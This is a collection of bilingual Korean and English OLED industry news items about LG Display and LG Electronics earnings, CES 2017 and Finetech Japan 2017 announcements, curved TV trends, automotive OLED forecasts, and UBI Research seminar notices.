유비리서치의 장현준 선임연구원은 “OLED는 무한대의 명암비, 빠른 응답속도등 운전자에게 다양한 편의를 제공할 수 있는 장점이 있지만 무엇보다도, flexibility를 바탕으로 자동차 내부, 외부 어느곳이든지 다양한 형태로 적용시킬 수 있어 디자인과 차별화를 중요시하는 프리미엄 자동차에 큰 메리트가 될 수 있다.”라고 언급하였다.

모바일 폰과 프리미엄 TV세트 수요 증가에 따른 OLED(패널) 시장 분석 세미나 개최(2017.04.21 전경련회관)

유비산업리서치에서는 CES2017, MWC2017을 통해 새롭게 그 기술적 진보를 선보이고 있는 OLED 성장 가능성에 대해 오는 4월 21일(금) 여의도 전경련회관 컨퍼런스센터에서 세미나 를 개최한다. 세미나

“모바일 폰과 프리미엄 TV세트 수요 증가에 따른 OLED(패널)시장 분석” 이라는 주제로 전세계 주요 세트업체들의 OLED 탑재 Application 출시계획을 통해 OLED 산업의 움직임을 분석하고 Supply Chain별 시장 전망을 분석한다.

특히 CES2017에서 삼성전자와 LG전자의 QLED, OLED TV 기술경쟁과 하이센스, TCL 등 중국 TV세트 업체와 Sony, Panasonic 등 일본 TV 세트업체들의 OLED TV 신제품 출시를 통해서 본 최신 OLED TV시장 전망을 분석할 예정이다. 특히, 올해 Apple이 10주년 기념으로 출시되는 아이폰에 플랙서블 OLED를 장착할 것으로 예상되면서 AMOLED를 적용한 스마트폰의 최신 트렌드와 이슈, MWC2017 요약을 통해 상반기 OLED 가장 큰 이슈들을 되짚을 수 있을 것으로 예상된다.

OLED 전문 리서치회사, 유비산업리서치 이충훈 대표와 장현준 선임연구원은 ▲OLED의 진화-기술 진화로 예상되는 Application 개발 본격화: Foldable Phone, Sounding Screen ▲모바일 폰 세트시장 수요로 본 OLED 시장 성장성 분석 ▲프리미엄 TV의 OLED 채용에 따른 본격적인 OELD TV의(공급/패널)시장 성장 분석 ▲OLED 패널 시장 성장에 따른 재료와 장비 시장 전망 분석과 OLED 패널 수요 증가에 따른 OLED 시장 전체 요약, 총 4개의 OLED 시장에 대해 발표를 진행할 예정이다.

이번 세미나에서는 전체적인 OLED 시장전망을 위한 Full screen OLED 스마트폰과 Sounding screen OLED TV의 사업화 현황과 핵심 이슈를 조망한다. 또한, OLED 재료와 장비 시장 분석을 통해 panel 뿐만 아니라 관련 핵심 재료, 부품, 장비 시장을 전망할 예정이다.

이번 유비산업리서치 세미나는 OLED 산업 종사자 뿐만 아니라 OLED Application 산업, 기타 관련 산업 종사자들 모두에게 향후 OLED의 가능성을 시장성 측면에서 조명해 볼 수 있는 자리가 될 것으로 예상된다.

[Finetech Japan 2017] LG Display OLED, more than 50% of the total revenue in 2020

At the keynote session of Finetech Japan 2017 held in Tokyo Big Sight as from May 5, LG Display’s CTO, Kang, In Byeong said, “LG Display OLED accounted for 10% of the total sales revenue in 2016, but is expected to increase more than 50% in 2020.”

<LG Display, Kang In Byeong CTO>

Currently, large OLED accounts for the majority of LG Display OLED sales. OLED TVs in application of LG Display’s large OLED are positioning as in the premium TV market leader, with approx 80% market share of the 65-inch large TVs priced higher than$ 3,000, and nearly 100% of the 55 inch large TVs higher than $ 2,000.

He said, “While 10 years taken for LCD to achieve more than 80% of market share, two years for large OLED, whose price is falling much faster than LCD. On top of it, OLED attempts to generate a premium markets with high-value-added products such as wall paper, crystal sound OLED, roll-able, transparency and signage. Also OLED for mobile device has been equipped with high competitiveness in application of a flexible design, and market demand has been significantly increased. Consequently LG Display is undergoing active development and investment.” He emphasized that the ongoing challenges will bring the LG Display’s OLED sales result in 2020 up to more than 50% of the total.

LG Display is investing in both the Gen8 large OLED mass production line and the Gen6 plastic OLED mass production line to meet the growing demand for large OLED and plastic OLED (flexible OLED). Regarding future mass production capacity, CTO, Kang said, “In 2020, large OLED production line capacity will be 6 times as big as that of 2016, and for plastic OLED 14 times.”

CTO Kang lastly addressed that the future OLED strategy of LG display is to produce large OLED wider than 77 inches, implement 8K and develop application for high-value-added product market. As for mobile device OLED, UHD resolution, DHK power consumption improvement and distinctive design are the key elements as well as flexibility that can increase the OLED performance and investment efficiency to differentiate from LCD and domineer the next generation display market.

Through the Finetech Japan 2017 keynote, LG Display once again emphasized that OLED is the key instrument to lead the display market in the future. Based on the large OLED technology, LG Display will continue to lead the display market by expanding its scope to mobile device OLED.

[Finetech Japan 2017] LG Display, 2020년 매출의 50% 이상은 OLED

LG Display 의 강인병 CTO는 일본 도쿄 빅사이트에서 5일부터 개최되고 있는 Finetech Japan 2017의 keynote session에서 “2016년 LG Display의 OLED 매출 비중은 전체 매출 대비 10% 정도였지만 2020년에는 OLED 매출 비중이 50% 이상으로 확대될 것으로 예상된다.” 라고 밝혔다.
LG Display는 OLED향 매출에서는 대면적 OLED가 대부분을 차지하고 있다. LG Display의 대면적 OLED를 적용한 OLED TV는 65inch 3,000$ 이상의 시장에서는 약 80%, 55 inch 2,000$ 이상 시장에서는 100%에 가까운 점유를 하고 있어 프리미엄 TV 시장의 선두자리를 질주하고 있다.
강전무는 “LCD는 80% 이상의 수율 확보를 하는데 10년이 걸렸지만 대면적 OLED는 2년만에 80% 수율을 달성하였고, 가격하락 속도도 LCD보다 훨씬 빠르다. 여기에 wall paper와 crystal sound OLED, rollable, 투명, 사이니지등 고부가가치 프리미엄 시장 창출을 시도하고 있다. 또한 모바일 기기용 OLED도 flexible 디자인을 적용하여 경쟁력을 갖추었으며, 시장 수요도 크게 증가하여 LG Display에서도 적극적인 개발과 투자를 진행중이다.” 라며 이를 바탕으로 2020년 LG Display의 OLED 매출이 전체 매출의 50% 이상을 달성 할 수 있을 것이라 강조했다.
LG Display는 늘어나는 대면적 OLED와 plastic OLED(flexible OLED) 수요에 대응하기 위해 Gen8 대면적 OLED 양산라인과 Gen6 plastic OLED 양산라인 투자가 진행중에 있다. 앞으로의 양산 capa 관련해서 강전무는 “2020년 LG Display의 OLED 양산라인 capa는 2016년대비 대면적 OLED는 6배, plastic OLED는 14배가 될 것”이라고 언급했다.
강전무는 LG display의 앞으로의 OLED 전략은 대면적 OLED는 77 inch 이상의 대면적화와 8K 구현, 고부가가치의 시장 창출가능한 application 개발이 핵심이며, 모바일 기기용 OLED는 UHD 해상도와 소비전력 개선, flexible을 활용한 디자인 차별화가 핵심이라고 밝혔다. 또한 flexible을 바탕으로 OLED의 성능과 투자효율을 향상시켜 LCD와의 차별화를 통해 차세대 display 시장을 선도할 것” 이라며 발표를 마쳤다.
LG Display는 이번 Finetech Japan 2017 keynote를 통해 다시한번 OLED가 앞으로의 display 시장을 이끌어갈 핵심임을 부각시켰으며, 대면적 OLED 기술력을 바탕으로 모바일 기기용 OLED까지 시장을 확대하여 디스플레이 시장을 지속적으로 리드할 것으로 기대된다.

<Finetech Japan 2017에서 keynote를 강연중인 LG Display 강인병 CTO>

모바일 기기용 OLED 부품소재 시장 급팽창한다

 

<2017 모바일 기기용 OLED 부품소재 보고서, 유비리서치>

OLED를 제조하는데 필요한 부품과 소재는 기판을 포함하여 TFT, OLED, encapsulation, touch screen, cover window, drive IC 등이 있다.

삼성전자 스마트폰 Galaxy에 의해 주도되던 모바일 기기용 OLED 시장에 Apple과 중국 기업들이 동참함에 의해 삼성디스플레이를 비롯하여 중국 디스플레이 업체들의 Gen6 투자가 봇물 터지듯 증가하고 있다.

이에 따라 OLED 제조에 필수적인 부품소재 시장 역시 급팽창하고 있다.

유비리서치 조사에 의하면 2017년 모바일 기기용 OLED 부품소재 시장은 87.2억달러 규모이나 2021년에는 382억달러까지 급성장할 것으로 전망하고 있다.

국가별로 보면 한국의 부품소재 시장이 2017년 82.7억달러이며 94.9%의 시장을 점유하고 있으나, 2021년에는 중국의 부품소재 시장이 22.3%까지 증가하며 한국의 부품소재 시장은 72.2%로 낮아질 것으로 전망하고 있다.

<2017 모바일 기기용 OLED 부품소재 보고서, 유비리서치>

 

Will Curved TV Disappear in the Premium TV Market?

The curved TV introduced firstly in 2013 has attracted attention for a long time, and many companies including Samsung Electronics and China’s Hisense, Haier and TCL showcased curved TVs at CES 2016. In addition, newcomers including Xiaomi and LeTV released curved TVs, and Samsung Electronics organized ‘Curved Federation’ with China’s TV companies such as Hisense and TCL in August, 2016 to cooperate with each other for the expansion of curved market, and the reviews on the curved TV market are generally positive.

But, only a few companies such as Korean and Chinese ones unveiled curved TVs at CES 2017, while other electronics companies in Europe and the US showcased flat TVs only. Meanwhile, LG Electronics said that it plan to release flat TVs only for Q9, a flagship TV model of 2017 but curved TVs for less expensive models Q7 and Q8. With its plan to focus on flat OLED TV in the future, pointing out the downward trend of curved TV market, LG plans to pay more attention to flat OLED TV. Likewise, major TV set companies’ awareness of curved TV started to change. Besides, European electronics company Vestel mentioned the disadvantage of curved TV that is too sensitive to viewing angle, and TV review company Reviewed.com and other review companies offered negative opinions on curved TV. This expects that the position of curved TVs is likely to dwindle in the premium TV market.

Accordingly, the premium TV market will have intense competition for the clear picture quality of flat type TVs, whereas curved TVs are expected to have competition with Chinese companies in a lower level TV market. As many Chinese TV makers have released curved TVs, curved TV in the premium TV market is no longer a competitive point. Therefore, TV set companies need to find a new turning point to catch the eyes of the consumers.

<Booth Photos of Samsung(Left) and LG(Right) at CES 2016 and 2017. Many curved TVs were mainly unveiled in 2016, but flat TVs in 2017>

Premium TV 시장에서 curved TV는 사라질까

2013년 처음 선보인 curved TV는 한동안 미래형 TV로 주목 받았으며, CES 2016에서는 삼성전자와 중국의 Hisense, Haier, TCL 등 다수의 업체가 curved TV를 전시하였다. 또한 XiaomiLeTV 등 후발 업체들도 curved TV를 출시하였으며, 삼성전자는 2016 8 Hisense TCL 등 중국 TV 업체들과커브드 연맹을 결성하여 curved 시장의 확대를 위해 상호 협력 하기로 하는 등, curved TV 시장의 평가는 대체적으로 우호적이었다.

<CES 2016과 2017 삼성전자(좌)와 LG전자(우)의 booth 사진. 2016년에는 다수의 curved TV가 전시되었으나, 2017년에는 flat TV 위주로 전시되었다.>

하지만 CES 2017에서는 한국과 중국 등 일부 업체만 curved TV를 선보였으며, 유럽과 미국 등 다른 가전업체들은 flat TV만 전시하였다. 또한, 삼성전자는 2017flagship TV 모델인 Q9flat TV로만 출시하고 더 저렴한 모델인 Q7Q8 모델에만 curved TV 도입을 결정했으며, LG전자 관계자는 curved TV 시장의 하향세를 언급하며 앞으로 flat OLED TV에 집중 할 계획을 언급하는 등, 주요 세트 업체들의 curved TV에 대한 인식이 변화하기 시작하였다. 뿐만 아니라, 유럽의 가전 업체인 Vestel의 관계자는 시야각에 매우 민감한 curved TV의 단점을 언급하기도 했으며, TV 평가 매체인 Reviewed.com과 타 평가 업체에서도 curved TV에 대해 부정적인 의견을 내놓는 등, premium TV 시장에서 curved TV의 입지가 점차 좁아질 것으로 예상 된다.

이에 따라 premium TV 시장은 flat type을 바탕으로 화질 경쟁이 주를 이룰 것으로 보이며, curved TVpremium급에서 한 단계 낮은 TV 시장에서 중국 업체들과의 경쟁이 예상 된다. 다수의 중국 TV 메이커들의 curved TV 출시로 인해 더 이상 premium TV 시장에서 curved TV는 차별화 포인트가 될 수 없기 때문에, 세트 업체들은 소비자들의 눈길을 사로잡기 위한 새로운 전환점이 필요할 것으로 보인다.

 

LG’s OLED TV is expected to surpass 15% among total TV sales this year

During the conference call that reported operating profits, LG Electronics announced on January 25 that OLED TVs accounted for below 5% of its total TV sales volume in 2015, but more than doubled in 2016 and achieved 10%. In addition, the share of LG’s OLED TV in the premium market over 2,000 dollars has rapidly increased, and it has solidified its leadership in the high-end OLED TV market. Therefore, LG said OLED TV sales are expected to rise and accordingly account for more than 15% of its total TV sales in 2017.

Also, LG Electronics’ sales reached 55.3660 trillion won, and its total operating profit last year was 1.3378 trillion won. The company’s annual sales dropped 2 percent from 2016(56.5090 trillion won), while its operating profits increased 12.2 percent from last year(1.1923 trillion won).

Especially, the sales of HE(Home Entertainment) division rose 0.2% from last year(17.3976 trillion won) thanks to an increased demand for TVs and premium TV sales. Despite rise in panel prices, LG reported a record operating profit of 1.2374 trillion won through its premium product sales and strategy to improve cost competitiveness.

Accordingly, LG Electronics announced it plans to continuously release premium TVs by adding such premium functions as IoT to existing products. It is also planning to expand its business focusing on the expansion of sales markets through globalization, going beyond its sales in Korea and USA.

Meanwhile, LG Electronics plans to start operating the E4 phase2 26K Gen8 OLED production line that it invested in 2016, in the second quarter this year. In addition, OLED TV price is expected to drop, and accordingly the OLED TV market is likely to increase significantly.

LG전자, 올해 TV 매출 중 OLED TV 비중 15% 넘어설 것으로 예상

LG전자는 1월 25일 실적 컨퍼런스 콜에서, 전체 TV 매출에서 OLED TV 비중은 2015년에 5% 미만이었으나, 2016년에는 2배 이상 증가하여 10%를 달성했다고 밝혔다. 또한, 2000달러 이상 프리미엄 시장에서 LG 전자의 OLED TV 시장 점유율이 급격히 증가하여 high-end 시장에서 자리를 잡고 있음을 볼 때, 2017년에는 OLED TV 매출액이 더욱 확대되어 15% 이상을 차지할 것이라 전망했다.

또한, LG전자는 지난해 연결기준 매출 55조 3670억원, 영업이익 1조 3378억원을 기록했다고 밝혔다. 매출은 전년(56조 5090억원) 대비 2% 감소하였으며, 영업이익은 전년(1조 1923억원) 대비 12.2% 증가했다.

특히 HE(Home Entertainment)사업본부 매출액은 TV 성수기에 따른 수요 증가 및 프리미엄 TV 판매 확대로 인해 전년(17조3976억원) 대비 0.2% 증가하였다. 또한, LG전자는 panel 가격 급등에도 불구하고 프리미엄 제품 판매 확대 및 원가경쟁력 개선 전략을 통해, 사상 최대의 영업이익인 1조 2374억원을 기록했다.

이에 따라 LG전자는 기존 제품에 IoT와 같은 프리미엄 기능을 부가하여 지속적으로 프리미엄 TV를 출시할 예정임을 밝혔다. 또한, 한국과 미국 판매 중심에서 글로벌화를 통한 판매 지역 확산에 초점을 두고 사업을 확장해 나갈 계획이라 말했다.

한편, LG전자는 2016년도에 투자된 E4 phase2 26K Gen8 OLED 양산라인을 올 2사분기부터 본격적으로 가동할 것으로 예상 됨에 따라 OLED TV 가격은 하락할 것으로 전망되며, 이에 따라 OLED TV 시장도 크게 성장할 것으로 기대된다.

LG Display Invests 5 Trillion Won in OLED Business, including Plastic OLED

LG Display has decided to change its business portfolio to concentrate organic light-emitting diode (OLED) business. Through the conference call that reported operating profits in the fourth quarter of 2016, LG Display announced on January 24 that it plans to invest some 5 trillion won in facilities this year, and put investment in OLED including Gen6 Plastic OLED and large-size OLED manufacturing facilities. Especially, its investment in OLED is expected to rise to 70% by 20% in 2017, compared to last year with a plan to expand the OLED market.

LG Display Chief Financial Officer (CFO) Kim Sang-don said, “LG Display has reorganized its business structure by integrating previous 5 divisions into a total of 3 divisions such as TV, IT and mobile for its business efficiency.” “It will concentrate not only clear picture but also design and price in large-size LCD TV panels, while producing small and mid-size OLED panels focused on E-5 Gen6 POLED mobile and automotive business. Gen6 E-5 plants also plan to start producing POLED in the third quarter this year. Regarding new Capa, the sizes of new OLED will be 55”, 65” and 77”, and the Capa over 65″ is expected to rise more than 40% this year, a 10 % increase from 30% in 2016”.

Kim said, “the company has secured a total of 60,000 OLED TV capa in the second half of the year according to this year’s OLED TV forecast and yield improvement, and this is the capacity that can produce 1.5 million to 1.8 million televisions a year. Also, he emphasized “Our large-size OLED panel achieved the industry’s yield of 80 percent, which means OLED achieved its golden yield in just two years, compared to LCD’s golden yield of 10 years”.

Kim added “Regarding Chinese firms’ large-size LCD panel line extension that has become an issue recently, the production of Gen8.5 OLED and LCD is now available, but we still need to examine technology, production and productivity of over Gen10 panels. We will carefully consider the extension of the super large 60” 4K and 8K market. Also, LG Display’s middle and long-term strategy is to create a new OLED market so as to expand OLED.

With regard to the price comparison with LCD TV, “more than 60,000 capa is added this year through OLED line extension, and this is the capacity that can produce 1.5 million to 1.8 million televisions. It is a very small scale compared to the entire TV market size, and the price comparison with LCD is meaningless” according to him. LG Display announced that it plans to expand the OLED market for commercial purposes such as signage, broadcasting and medical use in 2007, while emphasizing the target of OLED TV is not the competition with LCD but only the high-end premium TV market.

Meanwhile, regarding the ownership of crystal sound that were unveiled at CES 2017 held in Las Vegas, USA, “In addition to LG DISPLAY’s crystal sound panel, its strategic partner Sony Entertainment Television (SET) improved sound through sound control and algorithm, and OLED panel’s quadrant sound control is LG DISPAY’s own technology” it said.

LG DISPLAY posted 7.9360 trillion won in sales and 904 billion won in operating profits in the fourth quarter last year, recording the black-ink balance for 19 consecutive quarters. Its net profits increased to 824.7 billion won, a whopping 335% increase from the previous quarter. 38 percent of sales in the fourth quarter came from displays for televisions; 31 percent from displays for mobile devices; 17 percent for laptops and tablets; and 14 percent for monitors. Due to the increase in panel prices and demands, its sales reached 26.5041 trillion won, and operating profit was 1.3114 trillion won, surpassing the 1 trillion won for a fourth straight year while keeping a positive trend in its profits.

In the meantime, UBI Research expected that LG Display will produce 1.5 million large-size OLED panels over 50-inch.

LG Display, 플라스틱 OLED 등 OLED 중심으로 시설투자 5조원 투입

LG DISPLAY가 본격적으로 OLED를 중심으로 사업 포트폴리오를 변경한다. LG Display는 1월 24일 진행된 2016년 4분기 실적 컨퍼런스콜을 통해 올해 5조원 중후반대의 설비투자를 감행할 것이라며, Gen6 플라스틱 OLED와 대형 OLED 등 OLED에 대한 여러 투자가 집행될 것이라고 밝혔다. 특히, 2017년 OLED 투자에 대해 2016년 대비 20%가 늘어난 70%로 확대 될 것이라고 말하며, 본격적으로 OLED 시장 확산에 집중할 계획을 밝혔다.

김상돈 LG Display CFO는 “사업 효율성을 위해, 기존의 5개의 사업부를 TV와 IT, mobile 등 총 3개의 사업부로 통합하여 사업 구조를 개편하였다”라고 말하며, “대형 OLED는 화질을 넘어 디자인과 가격 중심으로, 중소형 OLED는 E-5의 Gen6 POLED로 mobile과 automotive 사업에 집중할 것”이라고 밝혔다. 또한, POLED를 위한 Gen6 E-5 공장은 2017년 3분기부터 본격적으로 양산에 돌입할 것으로 예상했다. 신규 Capa에 대해서 “신규 생산되는 OLED 사이즈는 55”와 65”, 77”이며, 2017년 65″ 이상의 capa 비중은 2016년도 30% 대비 10% 늘어난 40% 이상이 될 것”이라 말했다.

 

김상돈 전무는 “올해 OLED TV 전망과 수율 개선에 따른 OLED TV capa에 대해서는 하반기에 총 6만장의 capa를 확보하였으며, 이는 2016년 대비 2배로 150~180만대 생산을 의미한다”고 말했다. 또한, “대형 OLED TV 수율은 80% 이상 확보하였으며, 이는 LCD의 골든 수율이 10년 걸린 것에 비해 OLED는 2년만에 골든 수율을 확보한 것”이라 강조했다.

 

최근 이슈가 되고 있는 중국 업체들의 대형 LCD 패널 라인 증설에 대해서는, 현재 8.5세대 OLED와 LCD는 충분히 양산이 가능하지만, Gen10 이상은 기술과 양산, 생산성 등 검토해야 할 과제가 많다고 말하며, 향후 60” 초대형 4K, 8K 시장 대응을 위한 증설 여부는 신중하게 대응 할 것임을 밝혔다. 또한, LG Display의 중장기적인 전략은 OLED를 확대하는 것으로 OLED의 새로운 시장을 형성하는 게 방침이라고 덧붙였다.

 

LCD TV와의 가격 비교에 대해서는 “OLED 올해 OLED 추가 증설을 통해 약 6만장 이상의 capa를 추가하였으나, 이는 150~180만대 물량 확대 수준”이라 말하며, “전체 TV 시장의 규모로 볼 때 매우 작은 규모로, LCD와의 가격 비교는 의미가 없다”고 언급했다. LG Display는 OLED TV의 타겟팅이 LCD와의 경쟁이 아닌, 오직 high-end premium TV 시장임을 강조하며, 2017년을 기점으로 사이니지, 방송용, 메디컬 등 산업용으로 OLED의 시장의 확장을 준비하고 있다고 밝혔다.

 

한편, 이달 초 미국 라스베이거스에서 열린 CES 2017에서 공개한 바 있는 크리스탈 사운드의 ownership에 대해서는, “LG DISPLAY가 공급한 크리스탈 사운드 패널에 전략적 파트너인 세트업체가 사운드 컨트롤과 알고리즘을 통해 사운드를 더 개선한 것”이라며 밝히며, “OLED 패널의 4분면 사운드 제어 기술은 LG DISPLAY의 독자 기술”이라고 언급했다.

 

LG DISPLAY는 4분기 매출 7조9360억원, 영입이익 9040억원을 달성하며 19분기 연속 영업이익 흑자 행진을 이어갔으며, 당기순이익은 8247억원으로 전분기대비 335% 증가했다. 제품 별 매출 비중은 TV가 38%로 가장 큰 비중을 차지하였으며, mobile이 31%, notebook과 tablet이 17%, monitor가 14%를 차지하였다. 패널 가격 상승과 수요 증가 등으로 실적 호조세를 유지하며, 연간 매출은 26조 5041억원, 영업이익은 1조3114억원을 기록하며 4년 연속 영업이익 1조원을 돌파했다.

 

한편, 유비산업리서치에 따르면 LG디스플레이의 50인치이상 대면적 OLED panel은 2017년에 150만대가 출하될 것으로 전망했다.

All about OLED in one place, UBI Research, ‘3rd OLED KOREA Conference’ will be held

UBI Research plans to hold the 3rd OLED KOREA Conference with the theme of “Lessons from History and How OLED Can Evolve” at Novotel Ambassador Hotel on Mar. 8 (Wed) to 9 (Thu).

The OLED industry is expected to grow rapidly according to the adaption of full-driven OLED panels by Sony and Apple in 2017 and the competition among panels, equipment, and manufacturing companies can be intensified at the same time. It is necessary to understand and respond strategically to industry trends for successful business under such circumstances. The opportunities to share ideas and concerns each other and close exchanges between Industry-academic institute, panel, materials and equipment companies have been required. UBI Research has prepared a place to freely exchange various information and opinions through the 3rd OLED Korea Conference by reflecting such needs of the industry.

The Korea Conference will be an opportunity to analyze the past trends of OLED which the usage and application range is getting wider and to discuss the successful advancement and strategies to grow the OLED industry for the future. Therefore, it will be a valuable time to practically help the OLED industry.

The Presentation is planned by twenty-four (24) domestic/international experts related to OLED display such as set and panel makers, materials/equipment companies, university/research etc. including UBI Research, Samsung Display, Cynora and CEREBA about followings:

▲Exploring new opportunities with OLED and the preparation, ▲Possible directions and the reasoning for OLED, ▲Lessons from the history and how OLED can be evolved, ▲OLED and its collaboration, investigating the possibilities

We will establish the opportunity to contribute to the growth of the OLED industry based on the sharing of mutual opinions by preparing a networking space between the companies through luncheon during the conference period and breakfast with OLED reception.

Detail information can be found in www.oledkoreaconference.com

OLED에 대한 모든 것이 한자리에, 유비산업리서치, ‘제3회 OLED KOREA Conference’ 개최

유비산업리서치는 오는 3월 8일(수)부터 9일(목)까지 양일간 노보텔 앰배서더 호텔에서 ‘Lessons from History and How OLED Can Evolve’를 주제로 제 3회 OLED KOREA Conference를 개최할 예정이다.

애플과 Sony의 본격적인 OLED panel 채용에 따라 2017년 OLED 산업은 보다 빠르게 성장할 것으로 기대된다. 이와 동시에 panel과 장비, 재료업체들 간의 경쟁도 더욱더 심화될 것으로 예상되며, 이러한 상황에서 성공적인 비즈니스를 위해서는 산업 동향과 트랜드를 이해하고 전략적으로 대응 해야하며, 산학연, 패널,재료,장비 업체들간의 긴밀한 교류와 서로간의 관심사와 아이디어를 공유할 수 있는 자리가 요구되고 있다. 유비산업리서치에서는 이러한 업계의 니즈를 반영하여 제 3회 OLED Korea Conference를 통해 다양한 정보와 의견을 자유롭게 교환할 수 있는 자리를 마련하였다.

제 3회 OLED Korea Conference에서는 활용 범위와 쓰임새가 갈수록 넓어져가는 OLED의 지난 행보를 분석하고, 이를 토대로 앞으로의 성공적인 발전 방향과 OLED 산업을 성장시킬 전략에 대해 논의하고자 마련된 행사로서, OLED 산업에 실질적인 도움을 줄 수 있는 가치 있는 시간이 될 것이라는 업계의 기대를 받고 있다.
이번 행사에서는 유비산업리서치와 삼성디스플레이, Cynora, CEREBA를 포함, OLED관련 set와 패널 업체, 재료/장비 업체, 대학/연구소 등 OLED display 관련 국내외 전문가 13명이 ▲Exploring new opportunities with OLED and the preparation, ▲Possible directions and the reasoning for OLED, ▲Lessons from the history and how OLED can be evolved, ▲OLED and its collaboration, investigating the possibilities에 대해 발표를 진행할 예정이다.

또한 conference 기간 중 점심 만찬, OLED 리셉션과 아침식사 행사를 진행하여 업체들간의 networking 자리를 마련함으로써, 서로간의 의견 공유를 바탕으로 OLED 산업의 성장에 기여할 수 있는 자리를 마련하였다.

이하 자세한 사항은 www.oledkoreaconference.com 에서 확인할 수 있다.

[CES2017] LG Display, Successful Development of a Talking Display First in the World

LG Display completed the dream having been hoped from flat display, and opened the product firstly in private booth of CES2017.

In the time when LCD was begun to be settled as a representative runner of flat display, a lot of display engineers hoped to the display to which speakers were attached. However, the speaker and display could not be unified because speaker could affect influences to liquid crystal movement.

Nonetheless, such limitations of LCD were solved through OLED. Convergence which unifies display and speaker becomes to be completed by LG Display ultimately.

lgd

LG Display made the sound come out directly by attaching small-size speakers to panel backside. If using this type, the feeling of having the sound of actor when talking could be gotten.

As the panel is vibrated along with the speaker movement, small beads having been put on the panel were moved in a wave according to sound effects. If expressing reversely, the sound could be seen.
The talking Display to which anyone did not succeed becomes to be realized finally. The name of this Display is “Crystal Sound OLED.”

President Yeo Sang-deok having led Crystal Sound OLED development said a worry that impact to credibility on OLED panel would occur in the first developmental stage, but revealed a pride in that successful product development was made first in the world eventually. President Yeo did not hide joy in making best work in his life as top head of LG Display which led OLED TV development.

From this year, the position of President Yeo was changed to CMO from head of OLED business. He seems to lead OLED future of LG Display yet. President Yeo Sang-deok lighted up his ambition such like he would do his best to make OLED ecosystem more healthily and firmly as his future roles. President Yeo took charge of Chairperson of The Korean Information Display Association (KDIS) from 2017. Based on his various experiences of LCD, OLED development, it is expected that he will be a leader who puts together industry, academia, and research.

[CES2017] LG디스플레이, 세계 최초 말하는 디스플레이 개발 성공

LG디스플레이가 평판 디스플레이가 이루고 싶었던 꿈을 기술을 완성하고 CES2017 프라이빗 부스에서 이 제품을 최초로 공개했다.

LCD가 평판 디스플레이의 대표 주자로 자리 잡기 시작 하던 시절에 많은 디스플레이 엔지니어들이 스피커를 디스플레이와 붙이는 제품을 개발 하고 싶어 했다. 하지만 스피커 진동이 액정 움직임에 영향을 줄 수 있어 결국 스피커와 디스플레이가 일체화되지 못했다.

하지만 LCD의 이런 한계가 OLED에서 해결되었다. 디스플레이와 스피커가 일체화되는 컨버전스가 LG디스플레이에 의해 완성된 것이다.

lgd

OLED 패널 뒷면 두 곳에 소형 스피커를 직접 부착하여 소리가 디스플레이에서 바로 나오도록 만들었다. 이 방식을 사용하면 배우가 말을 할 때 소리가 화면에서 나오는 느낌을 가질 수 있다. 스피커 개수를 늘리게 되면 화면에서 입체 효과를 낼 수 있다.
패널이 스피커의 움직임에 따라 같이 진동하기 때문에 음향 효과에 따라 패널에 놓여진 작은 구슬들이 파상적으로 움직였다. 역으로 표현하면 소리가 볼 수 있게 되었다.
누구도 성공하지 못했던 말하는 디스플레이가 드디어 실현된 것이다. 이 디스플레이 이름은 “Crystal Sound OLED”이다.

Crystal Sound OLED 개발을 주도한 LG디스플레이 여상덕 사장은 처음 개발 단계에는 OLED 패널 신뢰성에 영향이 발생할 수 있을 것으로 우려했지만 결국은 세계 최초의 제품 개발이 성공했다고 자부심을 피력했다. 여상덕 사장은 OLED TV 개발을 주도한 LG디스플레이의 최고 수장으로서 생애 최고의 작품을 만들게 된 것에 대해 기쁨을 감추지 않았다.

여상덕 사장은 올해부터는 OLED 사업 수장에서 CMO로 자리를 바꾸었다. 자리는 다르지만 여전히 LG디스플레이의 OLED 미래를 이끌 것으로 기대된다. 여상덕 사장은 향후 본인의 역할을 OLED 생태계가 보다 튼튼하고 건강해 질 수 있도록 최선을 다할 것이라고 향후 포부를 밝혔다. 여상덕 사장은 올해부터 한국정보디스플레이 학회(KDIS)의 회장을 맡았다. 다년간의 LCD와 OLED 개발 경험을 바탕으로 한국 디스플레이 학회가 더욱 발전 할 있도록 산학연을 잘 아우르는 리더가 될 것으로 기대된다.

OLED panel for automotive display to be applied from 2018/The core issue is for its life-time extension.

OLED panels are expected to be used in automotive displays joining to mobile devices and TVs.

It clearly revealed that the flexible OLEDs are becoming the flagship product for automotive display in CES2017 through the Chrysler’s conference as pre-event. (website: http://www.olednet.com/en/ces2017-media-day-chrysler-potal/)

According to the “Automotive Display Report – Application & Market Trend Analysis and the Market Forecast” published by Ubi Research, OLED panels are expected to be applied to automotive cluster and CID in earnest from 2018. It will be applied to premium cars first under flexibility and superiority of image quality.

Car manufacturers are attempting to differentiate themselves with the concepts of environmentally friendly, connected, smart, and autonomous driving, and thus the interface inside the vehicle is also changing. There might be a limit to the existing analogue methods since various information must be transmitted and processed especially, as developed connected, smart car, and autonomous vehicle.

Therefore, the role of display in automobiles is becoming increasingly important and the area of display is gradually widening. Especially, since the cluster and CID have many curved surfaces, it is difficult to apply a square display to a large area and accordingly, the importance of a flexible display is emphasized.

The automobile manufacturers show great interest to the AMOLED panel since it can provide high visibility to the drivers and it is flexible and applicable to any part of the automobile based on its fast response speed, wide viewing angle, high color reproduction rate and contrast range. It is under joint development with major panel makers.

However, there is a problem that the lifetime of the AMOLED panel is still insufficient for application to automobiles. According to the analyzing report, the lifetime of the AMOLED panel has met about 50% as compared to the requirements for the car display. The most important issue is securing lifetime for the AMOLED panel usage.

According to the report also, the automotive display market will grow at an annual average of about 17%, reaching US $ 25,000 million by 2022, and it forecasted that the AMOLED panel market will account for about 20%.

<Automotive display market share forecasting in 2017-2022>

LG Display Unveils Next-Generation Market Leading Technologies at CES 2017

01-02

<Source :LG Display Unveils Next-Generation Market Leading Technologies at CES>

LG Display is actively participating in the ‘CES (Consumer Electronics Show) 2017’ to be held in Las Vegas, the U.S., from January 5 to 8 to show more diverse products and next-level differentiated technologies.

LG Display plans to convey its purpose to achieve consumer innovation together with LG Display’s differentiated technologies under the slogan of ‘Our Technology, Your Innovation’, at its private showroom for clients in the Las Vegas Convention Center, from January 4 to 8.

Especially, LG Display will showcase new products that basically has superior picture quality and fulfill OLED’s next-level design and potential, as well as a variety of products that provide new future to customers with its own differentiated technologies.

 

■ Unveil the New OLED TV with Superior Picture Quality, and Extreme Design

LG Display will release its differentiated OLED TVs with unsurpassed picture quality and potential application and design.

During CES, it will also introduce a 55-inch transparent FHD display featuring the improved colors and more natural and transparent screen.
